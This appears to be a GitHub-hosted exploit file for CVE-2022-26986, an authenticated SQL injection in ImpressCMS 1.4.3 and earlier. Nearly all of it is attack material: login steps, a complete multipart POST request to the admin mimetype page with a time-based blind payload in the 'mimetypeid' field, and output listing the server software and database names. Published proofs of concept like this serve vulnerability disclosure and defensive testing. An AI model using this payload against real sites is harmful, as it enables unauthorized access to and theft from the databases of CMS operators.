sartlabs Update Exploit.txt History

1 contributor

69 lines (57 sloc) | 2.99 KB

```
# Exploit Title: Authenticated Sql Injection in ImpressCMS v1.4.3
# SQL Injection in ImpressCMS v1.4.3 and earlier allows remote attackers to inject into the code i
# Exploit Author: Sarang Tumne @CyberInsane (Twitter: @thecyberinsane) #HTB profile: https://www.h
# Date: 7th March 2022
# CVE ID: CVE-2022-26986
# Confirmed on release 1.4.3
# Vendor: https://www.impresscms.org/ Download is available at: https://github.com/ImpressCMS/impr

################################################
#Step1- Login with Admin Credentials
#Step2- Vulnerable Parameter to SQLi: mimetypeid (POST request):

POST /ImpressCMS/htdocs/modules/system/admin.php?fct=mimetype&op=mod&mimetypeid=1 HTTP/1.1
Host: 192.168.56.117
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------406291773089122684715407487
Content-Length: 1011
Origin: http://192.168.56.117
Connection: close
Referer: http://192.168.56.117/ImpressCMS/htdocs/modules/system/admin.php?fct=mimetype&op=mod&mime
Cookie: tbl_SystemMimetype_sortsel=mimetypeid; tbl_limitsel=15; tbl_SystemMimetype_filtersel=defau
Upgrade-Insecure-Requests: 1

-----------------------------406291773089122684715407487
Content-Disposition: form-data; name="mimetypeid"

```

```
1 AND (SELECT 3583 FROM (SELECT(SLEEP(5)))XdxE)
-----------------------------406291773089122684715407487O1
Content-Disposition: form-data; name="extension"

bin
-----------------------------406291773089122684715407487O1
Content-Disposition: form-data; name="types"

application/octet-stream
-----------------------------406291773089122684715407487O1
Content-Disposition: form-data; name="name"

Binary File/Linux Executable
-----------------------------406291773089122684715407487O1
Content-Disposition: form-data; name="icms_page_before_form"

http://192.168.56.117/ImpressCMS/htdocs/modules/system/admin.php?fct=mimetype
-----------------------------406291773089122684715407487O1
Content-Disposition: form-data; name="op"

addmimetype
-----------------------------406291773089122684715407487O1
Content-Disposition: form-data; name="modify_button"

Submit
-----------------------------406291773089122684715407487O1--

Vulnerable Payload:
1 AND (SELECT 3583 FROM (SELECT(SLEEP(5)))XdxE)   //time-based blind (query SLEEP)

Output:
web application technology: Apache 2.4.52, PHP 7.4.27
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
available databases [6]:
[*] impresscms
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] test
```